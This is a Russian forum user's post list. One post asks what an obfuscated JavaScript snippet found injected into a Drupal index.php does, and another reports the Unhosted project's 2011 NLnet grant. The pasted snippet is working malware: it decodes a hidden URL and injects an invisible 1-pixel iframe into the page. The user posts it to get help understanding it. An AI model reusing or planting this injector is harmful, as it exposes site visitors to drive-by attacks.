LINUX.ORG.RU

Сообщения sindikat

 

Странный javascript код

Форум — Web-development

Недавно у себя в index.php в Друпале обнаружил странный javascript код.

<!-- . --><script type="text/javascript">function nivrZ(){var ODxCiO='QTzDlT';if('qgzC'=='ZYOyY')fuKPFL();}if('jlRv'=='kCpaks')qvBv='UJvVh';function Ayame(){}function smao(){var iOKF='BGEkXS';if('prcw'=='HQCt')QqGfI();}
var cyPkQG="pars\x65Int";if('rlxp'=='HnVdp')psEi();var JTbFBdl="\x73lice";function vgRXfZ(){var MAck='fxLz';if('ZXGGT'=='cPXc')fTHSI();}var bZFrQ='HmRBg';var APZsfNN="929e9e9a645959958b9c969395a496999e99918f9e928f9c588d9997599d5a599398588d9193695b5a";function SnUc(){var BTVhzC='zwGAB';if('emZxFI'=='WFnQR')FtDC();}
var FgNSRa="fro\x6dCharCo\x64e";var eqOti=223;if('IpmeS'=='LkpDR')cApRp='DvOgPv';var ZgCvD;function ySEir(){var mJbfa='RKBNQg';if('puIV'=='DVHJq')GvDvbb();}
var UXcClKfW="";function nZBF(){}function VJPQOK(){}
var uhyAuA=(function(){if('wfZXm'=='ISRTwP')DRnXBQ();return this;function RliJO(){}var riDo='czizo';})();if('EREg'=='lJcrdN')TwHct();function yNaWsF(){var kBRrrg='qSPl';if('xwQxHq'=='bzBMwh')xeVMz();}
var dFPOEBQ="c\x6fns\x74ru\x63t\x6fr";var UJleNT=83;var gsWih=42;var yhtxAvV="siGwwBP"[dFPOEBQ];if('AEtY'=='VmFkOS')udRBI='gJRe';if('nuYR'=='DIJGs')uIan();function USQmt(){}
for(var DQzKKpM=0;DQzKKpM<APZsfNN.length;DQzKKpM+=2){yNxrQn=uhyAuA[cyPkQG](APZsfNN[JTbFBdl](DQzKKpM,DQzKKpM+2),16)-42;UXcClKfW+=yhtxAvV[FgNSRa](yNxrQn);if('IKQekT'=='GbYrCh')sqqI();}
if('pziD'=='nCXw')wZuYGV='JRME';function AeRnG(){}if('ipReFx'=='qvAMzX')UITkS='RDoAF';var OJlEPajVV="KyMdgd";var Adsg='OKSHrl';var rqVt;var DqoGelc=navigator.appVersion.indexOf("MSIE")!=-1?'<iframe name="'+OJlEPajVV+'" src="'+"UXcClKfW"+'">':'iframe';function buFYlw(){}
var FYiEdo=document.createElement(DqoGelc);FYiEdo.name=OJlEPajVV;var VSyIt;FYiEdo.setAttribute("name",OJlEPajVV);var wPrmDD;FYiEdo.id=OJlEPajVV;FYiEdo.src=UXcClKfW;if('qyWzj'=='SHMw')SbIw();var OQQX;function GJDjAW(){var eYgo='iNKI';if('BsrM'=='fxtXFU')Kvwzhi();}
FYiEdo.style.right="0px";function lQsnU(){var jWxh='AyTbR';if('jUGmaz'=='AzRQWh')CustY();}
FYiEdo.style.top="0px";if('wdMPx'=='rtWL')WxolI();function eSlE(){}
FYiEdo.style.height="1px"
if('ejGtqC'=='RILl')VPrF();function Coanh(){}if('Lzlfhh'=='zWkr')iGDQ='TnYRGF';FYiEdo.style.width="1px";function bZYwS(){var yvZY='qAOrdx';if('umodI'=='oPJJds')yShf();}function lLjNK(){var zMCTAn='pLBu';if('JQuOJ'=='aLNz')QXljHZ();}var CuWn='SSJu';FYiEdo.style.position="absolute";var pACt=173;if('ABPWm'=='LJZPpb')Ifgw();function TWXup(){function NckY(){}
if(document.body){if('CurXr'=='alak')YWWD='jyCuRT';if('STCXW'=='JSGKKv')TAAWQu='yfede';function GrQKII(){var cMGEpk='LBsWg';if('epQd'=='himN')fLUHP();}
document.body.appendChild(FYiEdo);if('VFzZ'=='gTBGC')yKrk();if('qnOH'=='Xysp')sZmG='qjYarK';}else{var GzkLx;var QnPt;setTimeout(TWXup,100);if('SIEyek'=='eUvY')GyVKAw();}
var ysjH=104;}
if('evhht'=='HTdg')XuTNqN='ArTT';if('seVTf'=='ewkYo')Cajnt();TWXup();function cbUCDI(){var yzKbhO='qIrRxy';if('uXUVD'=='eoAE')bquJ();}var azMf=256;function WQKNr(){}</script><!-- . -->

Что это и что оно делает? Можно ли его как-то дешифровать в более человекопонятный вид? Откуда такие коды берутся и почему оно так выглядит?

sindikat
()

Проект Unhosted получил грант на развитие

Новости — Интернет
Группа Интернет

Фонд NLnet, занимающийся финансированием проектов, способствующих развитию открытого информационного общества, объявил 8 сентября 2011 года, что профинансирует проект Unhosted, предоставив грант на один год.

Unhosted — это коллективная новаторская попытка предоставить пользователям безопасный способ работать с веб-приложениями, отделяя программное обеспечение, доступное через интернет, от личных и деловых данных.

Unhosted позволяет использовать программы на дисковом пространстве сервера, а данные хранить в другом месте, например, внутри приватного домена частного лица или организации. Так как приложение и данные совмещаются в браузере, нет причин хранить данные там же, где установлена программа.

( читать дальше... )

Unhosted был начат год назад, 9 сентября 2010 года, группой добровольцев под руководством Михиля де Йонга, нидерландского разработчика программ, живущего в Берлине. Проект предоставляет как протокол, нейтральный к различным реализациям, основываясь на существующих стандартах вроде WebDAV, OAuth и Webfinger, так и комплект средств разработки (SDK), который могут использовать приложения для лёгкой интеграции. Вдобавок к гранту фонда NLnet, Unhosted уже собрал 14000 евро при помощи краудсорсинг.

Для работы над проектом открытым и нейтральным путём на этой неделе была создана группа сообщества в Консорциуме Всемирной паутины (W3C).

Разработчики Unhosted рады ответить на любые вопросы касательно проекта, задавайте их на английском языке на press@unhosted.org.
Также Unhosted приглашает к сотрудничеству веб-разработчиков, которые смогут писать браузерные веб-приложения, совместимые с Unhosted, и приветствует всяческое распространение информации о своём проекте в среде сторонников открытых технологий.

Связаться с участниками проекта можно в списке рассылки или в IRC-канале #unhosted на irc.freenode.net.

>>> Пресс-релиз

 , unhosted,

sindikat
()

RSS подписка на новые темы